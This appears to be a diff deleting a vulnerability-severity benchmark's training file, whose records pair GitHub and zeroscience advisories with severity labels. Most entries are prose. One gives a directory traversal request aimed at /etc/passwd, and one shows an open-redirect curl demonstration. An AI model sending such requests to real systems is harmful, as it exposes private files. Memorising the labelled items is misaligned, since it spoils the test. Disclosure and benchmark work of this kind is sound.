diff --git "a/benchmark/task3_severity/train.jsonl" "b/benchmark/task3_severity/train.jsonl"
deleted file mode 100644--- "a/benchmark/task3_severity/train.jsonl"
+++ /dev/null
@@ -1,6797 +0,0 @@
-{"id": "bfe292fe63453a07248f", "text": "YetiForceCRM is vulnerable to Business Logic Errors because product amount can be a negative number\n\nYetiForceCRM is vulnerable to Business Logic Errors because product amount can be a negative number.", "text_raw": "YetiForceCRM is vulnerable to Business Logic Errors because product amount can be a negative number\n\n[Severity: HIGH]\n\nYetiForceCRM is vulnerable to Business Logic Errors because product amount can be a negative number.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "3db49de9c98524a6bcb2", "text": "XSS in richtext custom tag attributes in ezsystems/ezplatform-richtext\n\nThe rich text editor does not escape attribute data when previewing custom tags. This means XSS is possible if custom tags are used, for users who have access to editing rich text content. Frontend content view is not affected, but the vulnerability could be used by editors to attack other editors. The fix ensures custom tag attribute data is escaped in the editor.", "text_raw": "XSS in richtext custom tag attributes in ezsystems/ezplatform-richtext\n\n[Severity: MEDIUM]\n\nThe rich text editor does not escape attribute data when previewing custom tags. This means XSS is possible if custom tags are used, for users who have access to editing rich text content. Frontend content view is not affected, but the vulnerability could be used by editors to attack other editors. The fix ensures custom tag attribute data is escaped in the editor.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "7433571f553bb90e9381", "text": "Open Redirect in st\n\nst is a module for serving static files.\n\nAn attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain.\n\nA request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.\n\n**Mitigating factor:**\n\nIn order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` (\"%2e%2e\", \"%2e.\", \".%2e\").\n\nCode example (provided by Xin Gao):\n\n[example.js]\n\n```js\nvar st = require('st') \nvar http = require('http') \nhttp.createServer(st(process.cwd())).listen(1337)\n```\n\n```shell\n$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e\n*   Trying ::1...\n* TCP_NODELAY set\n* Connected to localhost (::1) port 1337 (#0)\n> GET //cve.mitre.com/%2e%2e HTTP/1.1\n> Host: localhost:1337\n> User-Agent: curl/7.54.0\n> Accept: */*\n>\n< HTTP/1.1 301 Moved Permanently\n< cache-control: public, max-age=600\n< last-modified: Fri, 13 Oct 2017 22:56:33 GMT\n< etag: \"16777220-46488904-1507935393000\"\n< location: //cve.mitre.com/%2e%2e/\n< Date: Fri, 13 Oct 2017 22:56:41 GMT\n< Connection: keep-alive\n< Content-Length: 30\n<\n* Connection #0 to host localhost left intact\n```\n\n## Recommendation\n\nUpdate to version 1.2.2 or later.", "text_raw": "Open Redirect in st\n\n[Severity: MEDIUM]\n\nst is a module for serving static files.\n\nAn attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain. \n\nA request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.\n\n**Mitigating factor:** \n\nIn order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` (\"%2e%2e\", \"%2e.\", \".%2e\"). \n\nCode example (provided by Xin Gao): \n\n[example.js]\n\n```js\nvar st = require('st') \nvar http = require('http') \nhttp.createServer(st(process.cwd())).listen(1337)\n```\n\n```shell\n$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e\n*   Trying ::1...\n* TCP_NODELAY set\n* Connected to localhost (::1) port 1337 (#0)\n> GET //cve.mitre.com/%2e%2e HTTP/1.1\n> Host: localhost:1337\n> User-Agent: curl/7.54.0\n> Accept: */*\n>\n< HTTP/1.1 301 Moved Permanently\n< cache-control: public, max-age=600\n< last-modified: Fri, 13 Oct 2017 22:56:33 GMT\n< etag: \"16777220-46488904-1507935393000\"\n< location: //cve.mitre.com/%2e%2e/\n< Date: Fri, 13 Oct 2017 22:56:41 GMT\n< Connection: keep-alive\n< Content-Length: 30\n<\n* Connection #0 to host localhost left intact\n```\n\n\n## Recommendation\n\nUpdate to version 1.2.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "4b4b72c88b539d43ad11", "text": "ansi_up cross-site scripting vulnerability\n\nThe npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.", "text_raw": "ansi_up cross-site scripting vulnerability\n\n[Severity: MEDIUM]\n\nThe npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "98ea39f422e28effc993", "text": "XXE vulnerability in Jenkins Selenium HTML report Plugin\n\nJenkins Selenium HTML report Plugin 1.0 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.\n\nThis allows attackers with the ability to control the report files parsed using this plugin to have Jenkins parse a crafted report file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.\n\nJenkins Selenium HTML report Plugin 1.1 disables external entity resolution for its XML parser.", "text_raw": "XXE vulnerability in Jenkins Selenium HTML report Plugin\n\n[Severity: MEDIUM]\n\nJenkins Selenium HTML report Plugin 1.0 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.\n\nThis allows attackers with the ability to control the report files parsed using this plugin to have Jenkins parse a crafted report file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.\n\nJenkins Selenium HTML report Plugin 1.1 disables external entity resolution for its XML parser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "7acea90a0fde444ef1ab", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.21, 4.0.x before 4.0.12, 4.1.x before 4.1.8, and 4.2.x before 4.2.0.beta4, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via vectors involving a \\ (backslash) character, a similar issue to CVE-2014-7818.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.21, 4.0.x before 4.0.12, 4.1.x before 4.1.8, and 4.2.x before 4.2.0.beta4, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via vectors involving a \\ (backslash) character, a similar issue to CVE-2014-7818.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "ed5fef7987f805e8f034", "text": "Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7 allow an attacker to bypass Enhanced Security Usage taggings when they present a certificate that is invalid for a specific use, aka \".NET Security Feature Bypass Vulnerability.\"", "text_raw": "Moderate severity vulnerability that affects Microsoft.AspNetCore.Mvc and Microsoft.AspNetCore.Mvc.Core\n\n[Severity: MEDIUM]\n\nMicrosoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7 allow an attacker to bypass Enhanced Security Usage taggings when they present a certificate that is invalid for a specific use, aka \".NET Security Feature Bypass Vulnerability.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "f6ad6d7aab91760f91ae", "text": "Directory Traversal in commentapp.stetsonwood\n\nAffected versions of `commentapp.stetsonwood` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in commentapp.stetsonwood\n\n[Severity: HIGH]\n\nAffected versions of `commentapp.stetsonwood` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "bc725f983b6856b14472", "text": "Cross-site scripting (XSS) from writer field content in the site frontend\n\n### Impact\n\nKirby's [writer field](https://getkirby.com/docs/reference/panel/fields/writer) stores its formatted content as HTML code. Unlike with other field types, it is not possible to [escape HTML special characters](https://getkirby.com/docs/guide/templates/escaping) against cross-site scripting (XSS) attacks, otherwise the formatting would be lost.\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of other users. If the user is logged in to the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nBecause the writer field did not securely sanitize its contents on save, it was possible to inject malicious HTML code into the content file by sending it to Kirby's API directly without using the Panel. This malicious HTML code would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nYou are *not* affected if you don't use the writer field in any of your blueprints. The attack can only be performed by logged-in users and only surfaces in the site frontend (i.e. in your templates). The Panel itself is unaffected and will not execute JavaScript that was injected into writer field content.\n\n### Patches\n\nWe have patched the vulnerability in [Kirby 3.5.8](https://github.com/getkirby/kirby/releases/tag/3.5.8) by sanitizing all writer field contents on the backend whenever the content is modified via Kirby's API. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n### Credits\n\nThanks to Azrul Ikhwan Zulkifli (@azrultech) from BAE Systems AI Vulnerability Research Team for responsibly reporting the identified issue.", "text_raw": "Cross-site scripting (XSS) from writer field content in the site frontend\n\n[Severity: MEDIUM]\n\n### Impact\n\nKirby's [writer field](https://getkirby.com/docs/reference/panel/fields/writer) stores its formatted content as HTML code. Unlike with other field types, it is not possible to [escape HTML special characters](https://getkirby.com/docs/guide/templates/escaping) against cross-site scripting (XSS) attacks, otherwise the formatting would be lost.\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of other users. If the user is logged in to the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nBecause the writer field did not securely sanitize its contents on save, it was possible to inject malicious HTML code into the content file by sending it to Kirby's API directly without using the Panel. This malicious HTML code would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nYou are *not* affected if you don't use the writer field in any of your blueprints. The attack can only be performed by logged-in users and only surfaces in the site frontend (i.e. in your templates). The Panel itself is unaffected and will not execute JavaScript that was injected into writer field content.\n\n### Patches\n\nWe have patched the vulnerability in [Kirby 3.5.8](https://github.com/getkirby/kirby/releases/tag/3.5.8) by sanitizing all writer field contents on the backend whenever the content is modified via Kirby's API. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n### Credits\n\nThanks to Azrul Ikhwan Zulkifli (@azrultech) from BAE Systems AI Vulnerability Research Team for responsibly reporting the identified issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "c535250a5617efb0dee9", "text": "Buffer Overflow in pycrypto\n\nHeap-based buffer overflow in the ALGnew function in block_templace.c in Python Cryptography Toolkit (aka pycrypto) allows remote attackers to execute arbitrary code as demonstrated by a crafted iv parameter to cryptmsg.py.", "text_raw": "Buffer Overflow in pycrypto\n\n[Severity: CRITICAL]\n\nHeap-based buffer overflow in the ALGnew function in block_templace.c in Python Cryptography Toolkit (aka pycrypto) allows remote attackers to execute arbitrary code as demonstrated by a crafted iv parameter to cryptmsg.py.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-14", "split": "train"}
-{"id": "d2ec1658ee01344d71ce", "text": "SQL Injection in Kylin\n\nKylin has some restful apis which will concatenate SQLs with the user input string, a user is likely to be able to run malicious database queries.", "text_raw": "SQL Injection in Kylin\n\n[Severity: MEDIUM]\n\nKylin has some restful apis which will concatenate SQLs with the user input string, a user is likely to be able to run malicious database queries.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "b09510bfbc94483dba81", "text": "Zoho BugTracker Multiple Stored XSS Vulnerabilities", "text_raw": "Zoho BugTracker Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-06", "split": "train"}
-{"id": "1e41f32f16b9f3020d65", "text": "smart_proxy_dynflow gem authentication bypass in Foreman remote execution feature\n\nAn authentication bypass flaw was found in the smart_proxy_dynflow component used by Foreman. A malicious attacker can use this flaw to remotely execute arbitrary commands on machines managed by vulnerable Foreman instances, in a highly privileged context.", "text_raw": "smart_proxy_dynflow gem authentication bypass in Foreman remote execution feature\n\n[Severity: CRITICAL]\n\nAn authentication bypass flaw was found in the smart_proxy_dynflow component used by Foreman. A malicious attacker can use this flaw to remotely execute arbitrary commands on machines managed by vulnerable Foreman instances, in a highly privileged context.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-08", "split": "train"}
-{"id": "a215deff9a6a65fbd57d", "text": "Cross-site scripting in jspdf\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the `html` method.", "text_raw": "Cross-site scripting in jspdf\n\n[Severity: MEDIUM]\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the `html` method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "42d24f50f77857eb1ebc", "text": "XStream can cause a Denial of Service\n\n### Impact\nThe vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39140](https://x-stream.github.io/CVE-2021-39140.html).\n\n### Credits\nThe vulnerability was discovered and reported by Lai Han of nsfocus security team.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream can cause a Denial of Service\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39140](https://x-stream.github.io/CVE-2021-39140.html).\n\n### Credits\nThe vulnerability was discovered and reported by Lai Han of nsfocus security team.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "36e1903276c16a8365bc", "text": "Use after free in image\n\nAffected versions of this crate would call Vec::set_len on an uninitialized vector with user-provided type parameter, in an interface of the HDR image format decoder. They would then also call other code that could panic before initializing all instances.\n\nThis could run Drop implementations on uninitialized types, equivalent to use-after-free, and allow an attacker arbitrary code execution.\n\nTwo different fixes were applied. It is possible to conserve the interface by ensuring proper initialization before calling Vec::set_len. Drop is no longer called in case of panic, though.\n\nStarting from version 0.22, a breaking change to the interface requires callers to pre-allocate the output buffer and pass a mutable slice instead, avoiding all unsafe code.", "text_raw": "Use after free in image\n\n[Severity: CRITICAL]\n\nAffected versions of this crate would call Vec::set_len on an uninitialized vector with user-provided type parameter, in an interface of the HDR image format decoder. They would then also call other code that could panic before initializing all instances.\n\nThis could run Drop implementations on uninitialized types, equivalent to use-after-free, and allow an attacker arbitrary code execution.\n\nTwo different fixes were applied. It is possible to conserve the interface by ensuring proper initialization before calling Vec::set_len. Drop is no longer called in case of panic, though.\n\nStarting from version 0.22, a breaking change to the interface requires callers to pre-allocate the output buffer and pass a mutable slice instead, avoiding all unsafe code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4f69bbce5dcf33b6c719", "text": "Improper Authentication\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator which throws an exception if the Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botbuilder-dotnet)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "text_raw": "Improper Authentication\n\n[Severity: HIGH]\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator which throws an exception if the Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botbuilder-dotnet)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "708406dc87a71dfbb37a", "text": "lawn-login exposes database password to unauthorized users\n\nThe login function in `lib/lawn.rb` in the lawn-login gem 0.0.7 for Ruby places credentials on the curl command line, which allows local users to obtain sensitive information by listing the process.", "text_raw": "lawn-login exposes database password to unauthorized users\n\n[Severity: HIGH]\n\nThe login function in `lib/lawn.rb` in the lawn-login gem 0.0.7 for Ruby places credentials on the curl command line, which allows local users to obtain sensitive information by listing the process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-22", "split": "train"}
-{"id": "d61c2417ea866056d3b4", "text": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE\n\n### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration.\n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59.\n\n### Workarounds\n\nIf you can't update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n    - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n    - The maintainers, by opening an issue on this repository.", "text_raw": "elFinder before 2.1.59 contains multiple vulnerabilities leading to RCE\n\n[Severity: CRITICAL]\n\n### Impact\n\nWe recently fixed several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with the minimal configuration. \n\n### Patches\n\nThe issues were addressed in our last release, 2.1.59. \n\n### Workarounds\n\nIf you can't update to 2.1.59, make sure your connector is not exposed without authentication.\n\n### Reference\n\nFurther technical details will be disclosed on https://blog.sonarsource.com/tag/security after some time.\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n    - The original reporters, by sending an email to vulnerability.research@sonarsource.com;\n    - The maintainers, by opening an issue on this repository.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "4a28b227c391f6a674d4", "text": "Cross-Site Scripting in Page Preview\n\n### Problem\nFailing to properly encode _Page TSconfig_ settings, corresponding page preview module (_Web>View_) is vulnerable to persistent cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 core merger Oliver Bartsch who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-009](https://typo3.org/security/advisory/typo3-core-sa-2021-009)", "text_raw": "Cross-Site Scripting in Page Preview\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC` (5.0)\n\n### Problem\nFailing to properly encode _Page TSconfig_ settings, corresponding page preview module (_Web>View_) is vulnerable to persistent cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 9.5.28, 10.4.18, 11.3.1 that fix the problem described.\n\n### Credits\nThanks to TYPO3 core merger Oliver Bartsch who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-009](https://typo3.org/security/advisory/typo3-core-sa-2021-009)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "5017fe78e96b56230e8f", "text": "Media Player Classic 6.4.9.1 DLL Hijacking Exploit", "text_raw": "Media Player Classic 6.4.9.1 DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "d789b89ed3503c0b4b7a", "text": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution", "text_raw": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-05-03", "split": "train"}
-{"id": "c049be28aefcdcd6a8e1", "text": "Double free in slice-deque\n\nAn issue was discovered in the slice-deque crate through 2021-02-19 for Rust. A double drop can occur in SliceDeque::drain_filter upon a panic in a predicate function.", "text_raw": "Double free in slice-deque\n\n[Severity: HIGH]\n\nAn issue was discovered in the slice-deque crate through 2021-02-19 for Rust. A double drop can occur in SliceDeque::drain_filter upon a panic in a predicate function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3b257b51d7a033ff2947", "text": "Improper Input Validation in OpenCV\n\nOpenCV 3.0.0 allows remote attackers to cause a denial of service (segfault) via vectors involving corrupt chunks. This issue was fixed in OpenCV version 3.3.1 (corresponding to OpenCV 3.3.1.11).", "text_raw": "Improper Input Validation in OpenCV\n\n[Severity: MEDIUM]\n\nOpenCV 3.0.0 allows remote attackers to cause a denial of service (segfault) via vectors involving corrupt chunks. This issue was fixed in OpenCV version 3.3.1 (corresponding to OpenCV 3.3.1.11).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "ad8d63beb2ad7bb529ff", "text": "Stored XSS vulnerability on Bounce Management Callback\n\n### Impact\nInsufficient sanitization / filtering allows for arbitrary JavaScript Injection in Mautic using the bounce management callback function. The values submitted in the \"error\" and \"error_related_to\" parameters of the POST request of the bounce management callback will be permanently stored and executed once the details page of an affected lead is opened by a Mautic user.\n\nAn attacker with access to the bounce management callback function (identified with the Mailjet webhook, but it is assumed this will work uniformly across all kinds of webhooks) can inject arbitrary JavaScript Code into the \"error\" and \"error_related_to\" parameters of the POST request (POST /mailer/<product / webhook>/callback). It is noted that there is no authentication needed to access this function.\n\nThe JavaScript Code is stored permanently in the web application and executed every time an authenticated user views the details page of a single contact / lead in Mautic. This means, arbitrary code can be executed to, e.g., steal or tamper with information.\n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Stored XSS vulnerability on Bounce Management Callback\n\n[Severity: HIGH]\n\n### Impact\nInsufficient sanitization / filtering allows for arbitrary JavaScript Injection in Mautic using the bounce management callback function. The values submitted in the \"error\" and \"error_related_to\" parameters of the POST request of the bounce management callback will be permanently stored and executed once the details page of an affected lead is opened by a Mautic user.\n\nAn attacker with access to the bounce management callback function (identified with the Mailjet webhook, but it is assumed this will work uniformly across all kinds of webhooks) can inject arbitrary JavaScript Code into the \"error\" and \"error_related_to\" parameters of the POST request (POST /mailer/<product / webhook>/callback). It is noted that there is no authentication needed to access this function.\n\nThe JavaScript Code is stored permanently in the web application and executed every time an authenticated user views the details page of a single contact / lead in Mautic. This means, arbitrary code can be executed to, e.g., steal or tamper with information.\n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@mautic.org](mailto:security@mautic.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "f89f68e315752c617afc", "text": "curlrequest allows execution of arbitrary commands\n\ncurlrequest through 1.0.1 allows execution of arbitrary commands. It is possible to inject arbitrary commands by using a semicolon char in any of the `options` values.", "text_raw": "curlrequest allows execution of arbitrary commands\n\n[Severity: CRITICAL]\n\ncurlrequest through 1.0.1 allows execution of arbitrary commands. It is possible to inject arbitrary commands by using a semicolon char in any of the `options` values.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "4b672f5c597078a7a6ad", "text": "Open Redirect in Next.js\n\nNext.js is an open source website development framework to be used with the React library. In affected versions specially encoded paths could be used when `pages/_error.js` was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users although it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.\n\n### Impact\n\n- **Affected:** Users of Next.js between `10.0.5` and `10.2.0`\n- **Affected:** Users of Next.js between `11.0.0` and `11.0.1` using `pages/_error.js` without `getInitialProps`\n- **Affected:** Users of Next.js between `11.0.0` and `11.0.1` using `pages/_error.js` and `next export`\n- **Not affected**: Deployments on Vercel ([vercel.com](https://vercel.com)) are not affected\n- **Not affected:** Deployments **with** `pages/404.js`\n- Note that versions prior to 0.9.9 package `next` npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.\n\nWe recommend upgrading to the latest version of Next.js to improve the overall security of your application.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v11.1.0", "text_raw": "Open Redirect in Next.js\n\n[Severity: MEDIUM]\n\nNext.js is an open source website development framework to be used with the React library. In affected versions specially encoded paths could be used when `pages/_error.js` was statically generated, allowing an open redirect to occur to an external site. In general, this redirect does not directly harm users although it can allow for phishing attacks by redirecting to an attacker's domain from a trusted domain.\n\n### Impact\n\n- **Affected:** Users of Next.js between `10.0.5` and `10.2.0`\n- **Affected:** Users of Next.js between `11.0.0` and `11.0.1` using `pages/_error.js` without `getInitialProps`\n- **Affected:** Users of Next.js between `11.0.0` and `11.0.1` using `pages/_error.js` and `next export`\n- **Not affected**: Deployments on Vercel ([vercel.com](https://vercel.com)) are not affected\n- **Not affected:** Deployments **with** `pages/404.js`\n- Note that versions prior to 0.9.9 package `next` npm package hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.\n\nWe recommend upgrading to the latest version of Next.js to improve the overall security of your application.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v11.1.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-12", "split": "train"}
